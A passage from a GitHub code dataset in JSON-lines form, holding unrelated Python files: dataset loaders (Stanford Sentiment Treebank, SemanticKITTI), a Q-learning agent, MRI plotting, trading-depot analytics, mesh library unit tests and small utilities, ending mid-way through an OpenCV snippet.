1\n if labels is None:\n raise Exception('Sentiment Error !')\n\n if split_dict[i + 1] == 1:\n x_train.append(sentence)\n y_train_valence.append(senti)\n y_train_labels.append(labels)\n if polarity is not None:\n x_train_polarity.append(sentence)\n y_train_polarity.append(polarity)\n elif split_dict[i + 1] == 2:\n x_test.append(sentence)\n y_test_valence.append(senti)\n y_test_labels.append(labels)\n if polarity is not None:\n x_test_polarity.append(sentence)\n y_test_polarity.append(polarity)\n else:\n x_valid.append(sentence)\n y_valid_valence.append(senti)\n y_valid_labels.append(labels)\n if polarity is not None:\n x_valid_polarity.append(sentence)\n y_valid_polarity.append(polarity)\n\n print(\"Fine-grained: #training: %s, #valid: %s, #test: %s\" % (len(x_train), len(x_valid), len(x_test)))\n print(\"Binary classification: #train: %s, #valid: %s, #test: %s\" % (\n len(x_train_polarity), len(x_valid_polarity), len(x_test_polarity)))\n\n # t = zip(x_train, y_train)\n # random.shuffle(t)\n # x_train, y_train = zip(*t)\n output = (x_train, y_train_valence, y_train_labels,\n x_test, y_test_valence, y_test_labels,\n x_valid, y_valid_valence, y_valid_labels,\n x_train_polarity, y_train_polarity,\n x_test_polarity, y_test_polarity,\n x_valid_polarity, y_valid_polarity)\n\n # return output\n pickle_file = os.path.join('pickle', 'stanford_sentiment_treebank.pickle3')\n pickle.dump(output, open(pickle_file, 'wb'))\n logging.info('dataset created!')","repo_name":"wangjin0818/residual_lstm","sub_path":"load_stanford_sentiment_treebank.py","file_name":"load_stanford_sentiment_treebank.py","file_ext":"py","file_size_in_byte":5397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18785933577","text":"#!/usr/bin/python3\nimport sys, json, os;\n\nif len(sys.argv) < 3:\n sys.exit(\"At least 2 arguments expected: [...]\")\n\ndigest = sys.argv[1]\n# url = sys.argv[2]\n\ndata = json.load(sys.stdin)\n\nadded = False\nfor layer in data[\"layers\"]: \n if layer[\"digest\"] == digest:\n if \"urls\" not in layer:\n layer[\"urls\"] = []\n \n for url in sys.argv[2:]:\n if url not in layer[\"urls\"]:\n layer[\"urls\"].append(url)\n added = True\n break \n\nprint(json.dumps(data))\n\nif not added:\n sys.exit(1) # error\n# at default it exits with 0 (success)\n","repo_name":"FFrabetti/Cooperative-container-migration","sub_path":"cooperative migration/update_manifest.py","file_name":"update_manifest.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"9098000798","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 18 09:10:00 2017\n\n@author: vs796\n\"\"\"\n\nimport matplotlib.pyplot as plt\nfrom medpy.io import load\nimport numpy as np\nimport seaborn as sns\n\n\ncaselist = open(\"/rfanfs/pnl-zorro/home/vidushi/ADHD_MSD_FW/caselist.txt\",'r+')\n\n\nfor line in caselist:\n casenumber = line.rstrip()\n\n\n image_data_msd, image_header_msd = load('/rfanfs/pnl-zorro/home/vidushi/ADHD_MSD_FW/MSD/{0}_MSD.nii' .format(casenumber))\n image_data_fw, image_header_fw = load('/rfanfs/pnl-zorro/home/vidushi/ADHD_MSD_FW/FW/{0}_FW.nii' .format(casenumber))\n image_data_fs, image_header_fs = load(\"/rfanfs/pnl-zorro/home/vidushi/ADHD_MSD_FW/freesurferINdwi/{0}_wmparc-in-bse.nii.gz\" .format(casenumber))\n \n\n vector_fw = np.reshape(image_data_fw, [np.prod(np.array(image_data_fw.shape))])\n vector_msd = np.reshape(image_data_msd, [np.prod(np.array(image_data_msd.shape))])\n vector_fs = np.reshape(image_data_fs, [np.prod(np.array(image_data_fs.shape))])\n \n\n\n sub_cortical = {50,51,58,54,49,52,60,53,11,12,18,26,10,13,28,17}\n \n id=[]\n for i in sub_cortical:\n subcortical=(vector_fs==i)\n k=np.where(subcortical)\n shape=vector_fw[k]\n id.append(shape)\n \n subcortical_fw=np.concatenate((id[0:len(id)]))\n\n id1=[]\n for i in sub_cortical:\n subcortical=(vector_fs==i)\n k1=np.where(subcortical)\n shape1=vector_msd[k1]\n id1.append(shape1)\n\n subcortical_msd=np.concatenate((id1[0:len(id1)]))\n\n in_l = (subcortical_msd <= 15)\n keep = np.where(in_l)\n final_subcortical_msd = subcortical_msd[keep]\n final_subcortical_fw = subcortical_fw[keep]\n\n in_k = (final_subcortical_msd != 0)\n keep1 = np.where(in_k)\n ultimate_subcortical_msd = final_subcortical_msd[keep1]\n ultimate_subcortical_fw = final_subcortical_fw[keep1]\n\n in_m = (ultimate_subcortical_fw != 1.0)\n keep2 = np.where(in_m)\n last_subcortical_msd = ultimate_subcortical_msd[keep2]\n last_subcortical_fw = ultimate_subcortical_fw[keep2]\n \n sns.plt.ylabel(\"Subcortical Mean Square Displacement\")\n sns.plt.xlabel(\"Subcortical Free Water\") \n\n\n f, ax = plt.subplots()\n ax.set(xlim=(0, 1.0), ylim=(0, 7))\n ax = sns.regplot(last_subcortical_fw, last_subcortical_msd, robust = True, ci = None, scatter = False, line_kws = {'color':'blue'})\n\n\n\ncaselist.close()\n\n \n#plt.savefig('/rfanfs/pnl-zorro/home/vidushi/ADHD_MSD_FW/Subcortical/correlation_graphs/correlation_trendlines.png', bbox_inches = 'tight')\n \nplt.show()\n","repo_name":"SarinaKarmacharya/Python","sub_path":"subcortical_trendlines.py","file_name":"subcortical_trendlines.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31801194689","text":"import random\nimport numpy as np\n\nclass QLearningAgent:\n def __init__(self, n_states, n_actions, learning_rate):\n self.n_states = n_states\n self.n_actions = n_actions\n self.learning_rate = learning_rate\n\n self.q_table = np.zeros((n_states, n_actions))\n\n def act(self, state, epsilon):\n # Generáljon random számot [0,1] intervallumon\n random_int = random.uniform(0,1)\n\n if random_int > epsilon:\n action = np.argmax(self.q_table[state])\n else:\n action = random.randint(0, self.n_actions - 1)\n\n return action\n \n def learn(self, state, action, reward, new_state, gamma):\n old_value = self.q_table[state][action]\n new_estimate = reward + gamma * max(self.q_table[new_state])\n\n self.q_table[state][action] = old_value + self.learning_rate * (new_estimate - old_value)","repo_name":"Adrellan/Mestint","sub_path":"week11/qla.py","file_name":"qla.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7642186176","text":"import os\nfrom glob import glob\nimport numpy as np\nimport multiprocessing\nimport logging\nimport torch\n\nfrom torch_geometric.data import Dataset, Data\n\nfrom torch_points3d.datasets.base_dataset import BaseDataset\nfrom torch_points3d.datasets.segmentation.kitti_config import *\nfrom torch_points3d.datasets.segmentation import IGNORE_LABEL\nfrom torch_points3d.metrics.segmentation_tracker import SegmentationTracker\n\nlog = logging.getLogger(__name__)\n\n\nclass SemanticKitti(Dataset):\n r\"\"\"SemanticKITTI: A Dataset for Semantic Scene Understanding of LiDAR Sequences\"\n from the paper, \n containing about 21 lidar scan sequences with dense point-wise annotations.\n \n root dir should be structured as\n rootdir\n └── sequences/\n ├── 00/\n │ ├── labels/\n │ │ ├ 000000.label\n │ │ └ 000001.label\n │ └── velodyne/\n │ ├ 000000.bin\n │ └ 000001.bin\n ├── 01/\n ├── 02/\n .\n .\n .\n └── 21/\n Args:\n root (string): Root directory of the dataset.\n split (string, optional): If :obj:`\"train\"`, loads the training\n dataset.\n If :obj:`\"val\"`, loads the validation dataset.\n If :obj:`\"trainval\"`, loads the training and validation dataset.\n If :obj:`\"test\"`, loads the test dataset.\n (default: :obj:`\"trainval\"`)\n transform (callable, optional): A function/transform that takes in an\n :obj:`torch_geometric.data.Data` object and returns a transformed\n version. The data object will be transformed before every access.\n (default: :obj:`None`)\n \"\"\"\n\n LABELS = LABELS\n COLOR_MAP = COLOR_MAP\n CONTENT = CONTENT\n REMAPPING_MAP = REMAPPING_MAP\n LEARNING_MAP_INV = LEARNING_MAP_INV\n SPLIT = SPLIT\n AVAILABLE_SPLITS = [\"train\", \"val\", \"test\", \"trainval\"]\n\n def __init__(self, root, split=\"trainval\", transform=None, process_workers=1, pre_transform=None):\n assert self.REMAPPING_MAP[0] == IGNORE_LABEL # Make sure we have the same convention for unlabelled data\n self.use_multiprocessing = process_workers > 1\n self.process_workers = process_workers\n\n super().__init__(root, transform=transform, pre_transform=pre_transform)\n if split == \"train\":\n self._scans = glob(os.path.join(self.processed_paths[0], \"*.pt\"))\n elif split == \"val\":\n self._scans = glob(os.path.join(self.processed_paths[1], \"*.pt\"))\n elif split == \"test\":\n self._scans = glob(os.path.join(self.processed_paths[2], \"*.pt\"))\n elif split == \"trainval\":\n self._scans = glob(os.path.join(self.processed_paths[0], \"*.pt\")) + glob(\n os.path.join(self.processed_paths[1], \"*.pt\")\n )\n else:\n raise ValueError(\"Split %s not recognised\" % split)\n\n @property\n def raw_file_names(self):\n return [\"sequences\"]\n\n @property\n def processed_file_names(self):\n return [s for s in self.AVAILABLE_SPLITS[:-1]]\n\n def _load_paths(self, seqs):\n scan_paths = []\n label_path = []\n for seq in seqs:\n scan_paths.extend(\n sorted(glob(os.path.join(self.raw_paths[0], \"{0:02d}\".format(int(seq)), \"velodyne\", \"*.bin\")))\n )\n label_path.extend(\n sorted(glob(os.path.join(self.raw_paths[0], \"{0:02d}\".format(int(seq)), \"labels\", \"*.label\")))\n )\n\n if len(label_path) == 0:\n label_path = [None for i in range(len(scan_paths))]\n if len(label_path) > 0 and len(scan_paths) != len(label_path):\n raise ValueError((f\"number of scans {len(scan_paths)} not equal to number of labels {len(label_path)}\"))\n\n return scan_paths, label_path\n\n @staticmethod\n def read_raw(scan_file, label_file=None):\n scan = np.fromfile(scan_file, dtype=np.float32).reshape(-1, 4)\n data = Data(pos=torch.tensor(scan[:, :3]), x=torch.tensor(scan[:, 3]).reshape(-1, 1),)\n if label_file:\n label = np.fromfile(label_file, dtype=np.uint32).astype(np.int32)\n assert scan.shape[0] == label.shape[0]\n semantic_label = label & 0xFFFF\n instance_label = label >> 16\n data.y = torch.tensor(semantic_label).long()\n data.instance_labels = torch.tensor(instance_label).long()\n return data\n\n @staticmethod\n def process_one(scan_file, label_file, transform, out_file):\n data = SemanticKitti.read_raw(scan_file, label_file)\n if transform:\n data = transform(data)\n log.info(\"Processed file %s, nb points = %i\", os.path.basename(out_file), data.pos.shape[0])\n torch.save(data, out_file)\n\n def get(self, idx):\n data = torch.load(self._scans[idx])\n if data.y is not None:\n data.y = self._remap_labels(data.y)\n return data\n\n def process(self):\n for i, split in enumerate(self.AVAILABLE_SPLITS[:-1]):\n if os.path.exists(self.processed_paths[i]):\n continue\n os.makedirs(self.processed_paths[i])\n\n seqs = self.SPLIT[split]\n scan_paths, label_paths = self._load_paths(seqs)\n scan_names = []\n for scan in scan_paths:\n scan = os.path.splitext(scan)[0]\n seq, _, scan_id = scan.split(os.path.sep)[-3:]\n scan_names.append(\"{}_{}\".format(seq, scan_id))\n\n out_files = [os.path.join(self.processed_paths[i], \"{}.pt\".format(scan_name)) for scan_name in scan_names]\n args = zip(scan_paths, label_paths, [self.pre_transform for i in range(len(scan_paths))], out_files)\n if self.use_multiprocessing:\n with multiprocessing.Pool(processes=self.process_workers) as pool:\n pool.starmap(self.process_one, args)\n else:\n for arg in args:\n self.process_one(*arg)\n\n def len(self):\n return len(self._scans)\n\n def download(self):\n if len(os.listdir(self.raw_dir)) == 0:\n url = \"http://semantic-kitti.org/\"\n print(f\"please download the dataset from {url} with the following folder structure\")\n print(\n \"\"\"\n rootdir\n └── sequences/\n ├── 00/\n │ ├── labels/\n │ │ ├ 000000.label\n │ │ └ 000001.label\n │ └── velodyne/\n │ ├ 000000.bin\n │ └ 000001.bin\n ├── 01/\n ├── 02/\n .\n .\n .\n \n └── 21/\n \"\"\"\n )\n\n def _remap_labels(self, semantic_label):\n \"\"\" Remaps labels to [0 ; num_labels -1]. Can be overriden.\n \"\"\"\n new_labels = semantic_label.clone()\n for source, target in self.REMAPPING_MAP.items():\n mask = semantic_label == source\n new_labels[mask] = target\n\n return new_labels\n\n @property\n def num_classes(self):\n return 19\n\n\nclass SemanticKittiDataset(BaseDataset):\n \"\"\" Wrapper around Semantic Kitti that creates train and test datasets.\n Parameters\n ----------\n dataset_opt: omegaconf.DictConfig\n Config dictionary that should contain\n - root,\n - split,\n - transform,\n - pre_transform\n - process_workers\n \"\"\"\n\n def __init__(self, dataset_opt):\n super().__init__(dataset_opt)\n process_workers: int = dataset_opt.process_workers if dataset_opt.process_workers else 0\n self.train_dataset = SemanticKitti(\n self._data_path,\n split=\"train\",\n transform=self.train_transform,\n pre_transform=self.pre_transform,\n process_workers=process_workers,\n )\n\n self.val_dataset = SemanticKitti(\n self._data_path,\n split=\"val\",\n transform=self.val_transform,\n pre_transform=self.pre_transform,\n process_workers=process_workers,\n )\n\n self.test_dataset = SemanticKitti(\n self._data_path,\n split=\"test\",\n transform=self.test_transform,\n pre_transform=self.pre_transform,\n process_workers=process_workers,\n )\n\n def get_tracker(self, wandb_log: bool, tensorboard_log: bool):\n \"\"\"Factory method for the tracker\n Arguments:\n wandb_log - Log using weight and biases\n tensorboard_log - Log using tensorboard\n Returns:\n [BaseTracker] -- tracker\n \"\"\"\n return SegmentationTracker(self, wandb_log=wandb_log, use_tensorboard=tensorboard_log)\n\n\nif __name__ == \"__main__\":\n DIR = os.path.dirname(os.path.realpath(__file__))\n dataroot = os.path.join(DIR, \"..\", \"..\", \"data\", \"kitti\")\n SemanticKitti(\n dataroot, split=\"train\", process_workers=10,\n )\n\n","repo_name":"torch-points3d/torch-points3d","sub_path":"torch_points3d/datasets/segmentation/semantickitti.py","file_name":"semantickitti.py","file_ext":"py","file_size_in_byte":9482,"program_lang":"python","lang":"en","doc_type":"code","stars":2295,"dataset":"github-code","pt":"47"} +{"seq_id":"40750410340","text":"import datetime\nimport numpy as np\nimport pandas as pd\nfrom ..types import DateSeries\nfrom ..utils import date_range\n\n\ndef cash_evolution(hist):\n cash_evo = DateSeries()\n curr_cash = 0\n for i in range(len(hist)):\n cdate = hist.index[i]\n cdata = hist.data[i]\n for cash, msg in cdata:\n curr_cash += cash\n cash_evo.insert_value(cdate, curr_cash)\n return cash_evo\n\n\ndef tax_evolution(hist):\n tax_evo = DateSeries()\n for i in range(len(hist)):\n curr_cash = 0\n cdate = hist.index[i]\n cdata = hist.data[i]\n for cash, msg in cdata:\n if 'tax' in msg or 'Tax' in msg:\n curr_cash += cash\n tax_evo.insert_value(cdate, curr_cash)\n return tax_evo\n\n\ndef total_tax(hist):\n tax_evo = tax_evolution(hist)\n return sum(tax_evo.data)\n\n\ndef broker_fee_evolution(hist):\n broker_evo = DateSeries()\n for i in range(len(hist)):\n curr_cash = 0\n cdate = hist.index[i]\n cdata = hist.data[i]\n for cash, msg in cdata:\n if msg.startswith('Broker:'):\n curr_cash += cash\n broker_evo.insert_value(cdate, curr_cash)\n return broker_evo\n\n\ndef total_broker_fees(hist):\n broker_evo = broker_fee_evolution(hist)\n return sum(broker_evo.data)\n\n\ndef position_size_evolution(position):\n pos_size_evo = DateSeries()\n hist = position.history\n size = 0\n for i in range(len(hist)):\n date = hist.index[i]\n for event in hist.data[i]:\n size_diff, price = event[0]\n msg = event[1]\n size += size_diff\n pos_size_evo.insert_value(date, value=size)\n return pos_size_evo\n\n\ndef position_value_at(position, date):\n pos_size_evo = position_size_evolution(position)\n idx = max(np.searchsorted(pos_size_evo.index, date, side='right') - 1, 0)\n if idx < len(pos_size_evo.index):\n size = pos_size_evo.data[idx]\n else:\n size = pos_size_evo.data[-1]\n cf = position.candle_feed\n # idx = np.searchsorted(cf.index, date)\n idx = max(np.searchsorted(cf.index, date, side='right') - 1, 0)\n price = cf.data[idx].low\n return size * price\n\n\ndef portfolio_content_evolution(portfolio):\n port_evo = DateSeries()\n hist = portfolio.history\n for i in range(len(hist)):\n date = hist.index[i]\n if len(port_evo) == 0:\n curr_port = []\n else:\n curr_port = port_evo.data[-1].copy()\n for pos, msg in hist.data[i]:\n if msg == 'Portfolio: Removed position' and pos in curr_port:\n curr_port.remove(pos)\n elif msg == 'Portfolio: Added position' and not pos in curr_port:\n curr_port.append(pos)\n port_evo.insert_value(date, value=curr_port)\n return port_evo\n\n\ndef portfolio_value_evolution(portfolio, min_dateindex=None,\n max_dateindex=None):\n hist = portfolio.history\n if min_dateindex is None:\n min_dateindex = hist.min_dateindex\n if max_dateindex is None:\n max_dateindex = datetime.datetime.now()\n port_evo = portfolio_content_evolution(portfolio)\n port_val_evo = DateSeries()\n if min_dateindex < hist.min_dateindex:\n for date in date_range(min_dateindex, hist.min_dateindex):\n port_val_evo.insert_value(date, 0)\n for date in date_range(hist.min_dateindex, max_dateindex):\n if date < port_evo.min_dateindex:\n val = 0.\n else:\n idx = max(np.searchsorted(port_evo.index,\n date,\n side='right') - 1,\n 0)\n if idx == len(port_evo.data):\n idx -= 1\n positions = port_evo.data[idx]\n val = 0\n for pos in positions:\n val += position_value_at(pos, date)\n port_val_evo.insert_value(date, value=val)\n return port_val_evo\n\n\ndef depot_value_evolution(depot):\n cash_evo = cash_evolution(depot.history)\n port_val = portfolio_value_evolution(depot.portfolio,\n min_dateindex=cash_evo.min_dateindex,\n max_dateindex=cash_evo.max_dateindex)\n return cash_evo + port_val\n\n\ndef depothist_to_dataframe(hist, exclude_zero=True):\n dfdata = {'Date': [], 'Amount': [], 'Description': []}\n for i in range(len(hist)):\n cdate = hist.index[i]\n cdata = hist.data[i]\n for cash, msg in cdata:\n if exclude_zero and cash == 0:\n continue\n dfdata['Date'].append(cdate)\n dfdata['Amount'].append(cash)\n dfdata['Description'].append(msg)\n \n return pd.DataFrame(dfdata)\n","repo_name":"MarlinSchaefer/PyTrest","sub_path":"analysis/depothist.py","file_name":"depothist.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"11536004367","text":"import lagrange\n\nimport numpy as np\nimport pytest\nimport sys\n\nfrom .assets import single_triangle, single_triangle_with_index, cube\nfrom .utils import address, assert_sharing_raw_data\n\n\nclass TestSurfaceMesh:\n def test_dimension(self):\n mesh = lagrange.SurfaceMesh()\n assert mesh.dimension == 3\n mesh2D = lagrange.SurfaceMesh(2)\n assert mesh2D.dimension == 2\n\n def test_add_vertex(self):\n vertices = np.eye(3)\n mesh = lagrange.SurfaceMesh()\n mesh.add_vertex(vertices[0])\n assert mesh.num_vertices == 1\n mesh.add_vertex(vertices[1])\n assert mesh.num_vertices == 2\n mesh.add_vertex(vertices[2])\n assert mesh.num_vertices == 3\n\n mesh.add_vertices(vertices)\n assert mesh.num_vertices == 6\n assert np.all(mesh.get_position(0) == mesh.get_position(3))\n assert np.all(mesh.get_position(1) == mesh.get_position(4))\n assert np.all(mesh.get_position(2) == mesh.get_position(5))\n\n def test_add_facets(self):\n vertices = np.eye(3)\n mesh = lagrange.SurfaceMesh()\n mesh.add_vertices(vertices)\n assert mesh.num_facets == 0\n\n mesh.add_triangle(0, 1, 2)\n assert mesh.num_facets == 1\n assert mesh.is_triangle_mesh\n assert not mesh.is_quad_mesh\n assert mesh.is_regular\n assert not mesh.is_hybrid\n\n def test_span_properties(self):\n mesh = lagrange.SurfaceMesh()\n mesh.add_vertices(np.eye(3))\n\n v = mesh.get_position(0) # Read only span.\n assert isinstance(v, np.ndarray)\n assert not v.flags[\"OWNDATA\"]\n\n v2 = mesh.ref_position(0) # Writeable span.\n assert isinstance(v2, np.ndarray)\n assert not v2.flags[\"OWNDATA\"]\n\n # TODO: dlpack data is read-only when exposed via numpy...\n # This is a known limitation.\n # assert v2.flags[\"WRITEABLE\"]\n\n # v and v2 share to the same raw data address.\n assert_sharing_raw_data(v, v2)\n\n def test_attribute(self, single_triangle):\n mesh = single_triangle\n\n id = mesh.create_attribute(\n name=\"index\",\n element=lagrange.AttributeElement.Vertex,\n usage=lagrange.AttributeUsage.Scalar,\n initial_values=np.array([1, 2, 3], dtype=float),\n initial_indices=np.array([], dtype=np.uint32),\n )\n assert mesh.get_attribute_name(id) == \"index\"\n\n attr = mesh.attribute(id)\n assert attr.usage == lagrange.AttributeUsage.Scalar\n assert attr.element_type == lagrange.AttributeElement.Vertex\n assert attr.num_channels == 1\n assert not attr.external\n\n attr2 = mesh.attribute(\"index\")\n assert address(attr.data) == address(attr2.data)\n\n mesh.delete_attribute(\"index\")\n del attr2\n\n with pytest.raises(RuntimeError) as e:\n data = attr.data\n\n def test_create_attribute_without_init_values(self, single_triangle):\n mesh = single_triangle\n\n with pytest.raises(Exception):\n # Without initial values, num_channels and dtype arguments are required.\n id = mesh.create_attribute(\n name=\"index\",\n element=lagrange.AttributeElement.Vertex,\n usage=lagrange.AttributeUsage.Scalar,\n )\n\n for t in [\n float,\n np.float32,\n np.float64,\n np.int8,\n np.int16,\n np.int32,\n np.int64,\n np.uint8,\n np.uint16,\n np.uint32,\n np.uint64,\n ]:\n id = mesh.create_attribute(\n name=f\"{t} type\",\n element=lagrange.AttributeElement.Vertex,\n usage=lagrange.AttributeUsage.Scalar,\n dtype=t,\n num_channels=1,\n )\n\n attr = mesh.attribute(id)\n assert attr.usage == lagrange.AttributeUsage.Scalar\n assert attr.element_type == lagrange.AttributeElement.Vertex\n assert attr.num_channels == 1\n assert attr.data.dtype == t\n attr.data = np.ones(mesh.num_vertices, dtype=t)\n assert np.all(attr.data == 1)\n\n def test_edges(self, single_triangle, cube):\n mesh = single_triangle\n mesh.initialize_edges(\n np.array([[0, 1], [1, 2], [2, 0]], dtype=np.uint32)\n )\n assert mesh.has_edges\n assert mesh.num_edges == 3\n assert mesh.is_boundary_edge(0)\n assert mesh.is_boundary_edge(1)\n assert mesh.is_boundary_edge(2)\n assert mesh.count_num_corners_around_edge(0) == 1\n assert mesh.count_num_corners_around_edge(1) == 1\n assert mesh.count_num_corners_around_edge(2) == 1\n assert mesh.count_num_corners_around_vertex(0) == 1\n assert mesh.count_num_corners_around_vertex(1) == 1\n assert mesh.count_num_corners_around_vertex(2) == 1\n\n mesh = cube\n mesh.initialize_edges()\n assert mesh.has_edges\n assert mesh.num_edges == 12\n for ei in range(12):\n assert not mesh.is_boundary_edge(ei)\n assert mesh.count_num_corners_around_edge(ei) == 2\n v = mesh.get_edge_vertices(ei)\n assert len(v) == 2\n assert v[0] < mesh.num_vertices\n assert v[1] < mesh.num_vertices\n for vi in range(8):\n assert mesh.count_num_corners_around_vertex(vi) == 3\n\n def test_wrap_vertices(self):\n mesh = lagrange.SurfaceMesh()\n\n # allocate large buffer so there is room for growth.\n vertex_buffer = np.ndarray((10, 3), dtype=float)\n vertex_buffer[:3] = np.eye(3)\n mesh.wrap_as_vertices(vertex_buffer, 3)\n assert mesh.num_vertices == 3\n assert address(vertex_buffer) == address(mesh.vertices)\n\n # update vertex growth policy\n attr = mesh.attribute(mesh.attr_id_vertex_to_positions)\n attr.growth_policy = lagrange.AttributeGrowthPolicy.AllowWithinCapacity\n\n assert np.all(mesh.vertices == np.eye(3))\n mesh.add_vertex(np.array([1, 2, 3], dtype=float))\n assert np.all(vertex_buffer[3] == [1, 2, 3])\n\n def test_wrap_facets_regular(self):\n mesh = lagrange.SurfaceMesh()\n\n # allocate large buffer.\n facets_buffer = np.ndarray((10, 3), dtype=np.uint32)\n facets_buffer[0] = [1, 2, 3]\n facets_buffer[1] = [4, 5, 6]\n\n mesh.wrap_as_facets(facets_buffer, 2, 3)\n assert mesh.num_facets == 2\n assert address(facets_buffer) == address(mesh.facets)\n\n # update facet growth policy\n attr = mesh.attribute(mesh.attr_id_corner_to_vertex)\n attr.growth_policy = lagrange.AttributeGrowthPolicy.AllowWithinCapacity\n\n mesh.add_triangle(7, 8, 9)\n assert mesh.num_facets == 3\n assert np.all(facets_buffer[2] == [7, 8, 9])\n\n def test_wrap_facets_hybrid(self):\n mesh = lagrange.SurfaceMesh()\n facets_buffer = np.arange(10, dtype=np.uint32)\n offsets_buffer = np.array([0, 3, 7], dtype=np.uint32)\n\n mesh.wrap_as_facets(offsets_buffer, 2, facets_buffer, 7)\n assert mesh.is_hybrid\n assert mesh.num_facets == 2\n assert mesh.get_facet_size(0) == 3\n assert mesh.get_facet_size(1) == 4\n assert np.all(mesh.get_facet_vertices(0) == [0, 1, 2])\n assert np.all(mesh.get_facet_vertices(1) == [3, 4, 5, 6])\n\n assert address(mesh.facets) == address(facets_buffer)\n offsets_attr = mesh.attribute(mesh.attr_id_facet_to_first_corner)\n assert address(offsets_attr.data) == address(offsets_buffer)\n\n def test_clone(self):\n mesh = lagrange.SurfaceMesh()\n mesh.add_vertex([0, 0, 0])\n mesh.add_vertex([1, 0, 0])\n mesh.add_vertex([0, 1, 0])\n mesh.add_vertex([1, 1, 0])\n mesh.add_triangle(0, 1, 2)\n mesh.add_triangle(2, 1, 3)\n\n mesh.create_attribute(\n \"vertex_index\",\n element=lagrange.AttributeElement.Vertex,\n usage=lagrange.AttributeUsage.Scalar,\n initial_values=np.arange(mesh.num_vertices, dtype=np.uint32),\n )\n mesh.create_attribute(\n \"facet_index\",\n element=lagrange.AttributeElement.Facet,\n usage=lagrange.AttributeUsage.Scalar,\n initial_values=np.arange(mesh.num_facets, dtype=np.uint32),\n )\n mesh.create_attribute(\n \"uv\",\n element=lagrange.AttributeElement.Indexed,\n usage=lagrange.AttributeUsage.UV,\n initial_values=mesh.vertices[:, :2].copy(),\n initial_indices=mesh.facets,\n )\n\n mesh2 = mesh.clone()\n assert mesh is not mesh2\n\n mesh.vertices.fill(0)\n assert np.amax(mesh2.vertices) != 0\n mesh.facets[[0, 1]] = mesh.facets[[1, 0]]\n assert np.all(mesh2.facets[0] == mesh.facets[1])\n assert np.all(mesh2.facets[1] == mesh.facets[0])\n\n assert mesh2.has_attribute(\"vertex_index\")\n assert mesh2.has_attribute(\"facet_index\")\n assert mesh2.has_attribute(\"uv\")\n\n vertex_index = mesh2.attribute(\"vertex_index\")\n facet_index = mesh2.attribute(\"facet_index\")\n uv = mesh2.indexed_attribute(\"uv\")\n\n assert not vertex_index.external\n assert not facet_index.external\n assert not uv.values.external\n assert not uv.indices.external\n\n def test_copy_and_deepcopy(self, single_triangle_with_index):\n from copy import copy, deepcopy\n\n mesh = single_triangle_with_index\n shallow_copy = copy(mesh)\n\n assert shallow_copy is not mesh\n assert_sharing_raw_data(mesh.vertices, shallow_copy.vertices)\n assert_sharing_raw_data(mesh.facets, shallow_copy.facets)\n assert_sharing_raw_data(\n mesh.attribute(\"vertex_index\").data,\n shallow_copy.attribute(\"vertex_index\").data,\n )\n\n deep_copy = deepcopy(mesh)\n assert deep_copy is not mesh\n assert address(mesh.vertices) != address(deep_copy.vertices)\n assert address(mesh.facets) != address(deep_copy.facets)\n assert address(mesh.attribute(\"vertex_index\").data) != address(\n deep_copy.attribute(\"vertex_index\").data\n )\n\n def test_position_usage(self, single_triangle):\n mesh = single_triangle\n position_attr = mesh.attribute(mesh.attr_id_vertex_to_positions)\n assert position_attr.usage == lagrange.AttributeUsage.Position\n","repo_name":"adobe/lagrange","sub_path":"modules/core/python/tests/test_surface_mesh.py","file_name":"test_surface_mesh.py","file_ext":"py","file_size_in_byte":10484,"program_lang":"python","lang":"en","doc_type":"code","stars":233,"dataset":"github-code","pt":"47"} +{"seq_id":"817925176","text":"import pytest\r\n\r\nfrom db import (\r\n data as db_data,\r\n)\r\nfrom misc import (\r\n db,\r\n)\r\nfrom models import (\r\n data as model_data,\r\n)\r\n\r\n\r\n@pytest.fixture\r\nasync def data(db_pool: db.Connection) -> list[model_data.Data]:\r\n data_1 = await db_data.create(\r\n data=model_data.DataNew(\r\n filename='data_1.csv',\r\n data_path='./data/data_1.csv',\r\n ),\r\n conn=db_pool,\r\n )\r\n data_2 = await db_data.create(\r\n data=model_data.DataNew(\r\n filename='data_2.csv',\r\n data_path='./data/data_2.csv',\r\n ),\r\n conn=db_pool,\r\n )\r\n data_3 = await db_data.create(\r\n data=model_data.DataNew(\r\n filename='data_3.csv',\r\n data_path='./data/data_3.csv',\r\n ),\r\n conn=db_pool,\r\n )\r\n return [data_1, data_2, data_3]\r\n","repo_name":"artj15/IOT","sub_path":"tests/fixtures/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18312504267","text":"import numpy as np \n\nclass Solution:\n\t\"\"\"docstring for twoSum\"\"\"\n\tdef twoSum(self, nums, target):\n\t\tif len(nums)<1:\n\t\t\treturn False\n\t\tbuf_dict={}\n\t\tfor i in range(len(nums)):\n\t\t\tif nums[i] in buf_dict:\n\t\t\t\treturn [buf_dict[nums[i]], i]\n\t\t\telse:\n\t\t\t\tbuf_dict[target - nums[i]] = i\n\nnums=[1,2,3,4,5,6,7]\ntarget = 5\nsolu = Solution()\nres = solu.twoSum(nums, target)\nprint (res)\n","repo_name":"ER123/leetcode","sub_path":"problems/001_Two_Sum/twoSum.py","file_name":"twoSum.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31070232764","text":"import cv2\nfrom random import randint\nimport ball\nimport numpy as np\n\n\n\nimg = cv2.imread('test_res\\\\imgfig.jpg')\n\nprint(type(img)) \nimg_mask = np.zeros((img.shape[0],img.shape[1]), dtype=np.uint8() )\n\nimg_mask[img[:,:,0] > 200] = 255\n\ncont, h = cv2.findContours(img_mask,\n cv2.RETR_TREE,\n cv2.CHAIN_APPROX_SIMPLE)\n\ncont = (cont[0],\n np.array(\n [\n [[100, 100]],\n [[100, 200]],\n 